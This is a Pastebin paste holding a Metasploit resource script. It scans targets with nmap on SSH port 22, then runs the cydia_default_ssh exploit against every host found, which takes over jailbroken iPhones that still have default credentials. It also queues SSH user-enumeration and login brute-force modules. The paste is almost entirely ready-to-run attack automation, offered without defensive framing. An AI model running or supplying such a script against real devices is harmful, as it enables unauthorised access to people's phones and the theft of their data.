Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <ruby>
- print_line("")
- print_status("Please wait, checking if RHOSTS are set globally...")
- if (framework.datastore['RHOSTS'] == nil)
- print_error("[ERROR] Please set RHOSTS globally: setg RHOSTS xxx.xxx.xxx.xxx")
- return
- end
- # Using nmap to populate metasploit database
- print_good("RHOSTS set globally [ OK ] running scans...")
- run_single("nmap -sS -T2 -Pn --reason --script banner.nse,sshv1.nse,ssh-hostkey.nse,ssh2-enum-algos.nse,dns-brute.nse,ip-geolocation-geoplugin.nse -p 22 #{framework.datastore['RHOSTS']}")
- print_line("")
- # Check/brute-force SSH ios_cydia vulnerability...
- print_good("Please wait, exploiting ios_cydia_default_ssh vulnerability")
- print_warning("iPhone needs to be jailbroken and default credentials active")
- framework.db.hosts.each do |host|
- run_single("use exploit/apple_ios/ssh/cydia_default_ssh")
- run_single("set RHOST #{host.address}")
- run_single("exploit")
- end
- print_line("")
- print_good("Please wait, running msf auxiliary modules...")
- </ruby>
- use auxiliary/scanner/ssh/ssh_version
- run
- use auxiliary/scanner/ssh/ssh_enumusers
- run
- use auxiliary/scanner/ssh/ssh_login
- show options
Advertisement
Add Comment
Please, Sign In to add comment